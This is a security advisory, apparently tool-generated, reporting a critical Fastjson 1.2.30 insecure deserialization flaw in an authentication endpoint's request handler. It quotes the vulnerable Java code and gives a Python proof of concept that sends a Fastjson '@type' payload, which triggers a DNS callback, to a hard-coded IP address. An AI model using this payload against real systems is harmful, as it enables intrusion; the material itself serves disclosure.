Insecure Deserialization (Critical)

[NinjaGPT]

Summary

In the latest version, an insecure deserialization vulnerability was discovered on the endpoint /auth/getWxBaseUserInfoByCode. After this endpoint receives user-controllable untrusted data, it uses the vulnerable Fastjson 1.2.30 for deserialization processing, thereby allowing attackers to execute arbitrary code on the target system.

Details

• SINK

// src/main/java/com/cf/ucenter/api/controller/AuthController.java#L641-L689
641:    private Map getLoginParams() throws Exception {
642:       Map<String, String> returnParams = new HashMap();
643:       String paramUri = "";
644:       Map<String, String> param = this.getAllRequestParam(this.request);
645:       Set<Map.Entry<String, String>> entries = param.entrySet();
646:       int i = 0;
647: 
648:       for(Map.Entry entrie : entries) {
649:          if (((String)entrie.getKey()).equals("datas") && StringUtils.isNotEmpty((CharSequence)entrie.getValue())) {
650:             Map<String, String> datas = (Map)JSONObject.parseObject((String)entrie.getValue(), new TypeReference() {
651:             }, new Feature[0]);
652:             Set<Map.Entry<String, String>> entries2 = datas.entrySet();
653:             String qrCodeId = null;

POC

import requests
from requests.sessions import Session
class CustomSession(Session):
    def request(
        self,
        method,
        url,
        params = None,
        data = None,
        headers = None,
        cookies = None,
        files = None,
        auth = None,
        timeout = None,
        allow_redirects = True,
        proxies = None,
        hooks = None,
        stream = None,
        verify = None,
        cert = None,
        json = None,
    ):
        arg_names = (
            'method', 'url', 'params', 'data', 'headers', 'cookies', 'files', 'auth', 'timeout',
            'allow_redirects', 'proxies', 'hooks', 'stream', 'verify', 'cert', 'json'
        )
        local_variables = locals()
        local_variables = {n: local_variables[n] for n in local_variables if n in arg_names}
        
        local_variables['headers'] = local_variables.get('headers') or dict()
        local_variables['headers'].update({'sec-ch-ua': '"Brave";v="141", "Not?A_Brand";v="8", "Chromium";v="141"', 'User-Agent': 'oxpecker', 'accept-language': 'en-US', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"Linux"', 'upgrade-insecure-requests': '1'})
        return super().request(**{n: local_variables[n] for n in local_variables if n in arg_names})
requests.sessions.Session = CustomSession
# ================================== Poc Start ===================================
import requests
url = 'http://35.230.98.170:40034/auth/getWxBaseUserInfoByCode'
payload = '{"name":{"@type":"java.net.Inet4Address","val":"$domain"}}'
params = {'datas': payload}
response = requests.get(url, params=params, verify=False, allow_redirects=False)
print('Status Code:', response.status_code)
print('Response Body:', response.text)
# =================================== Poc End ====================================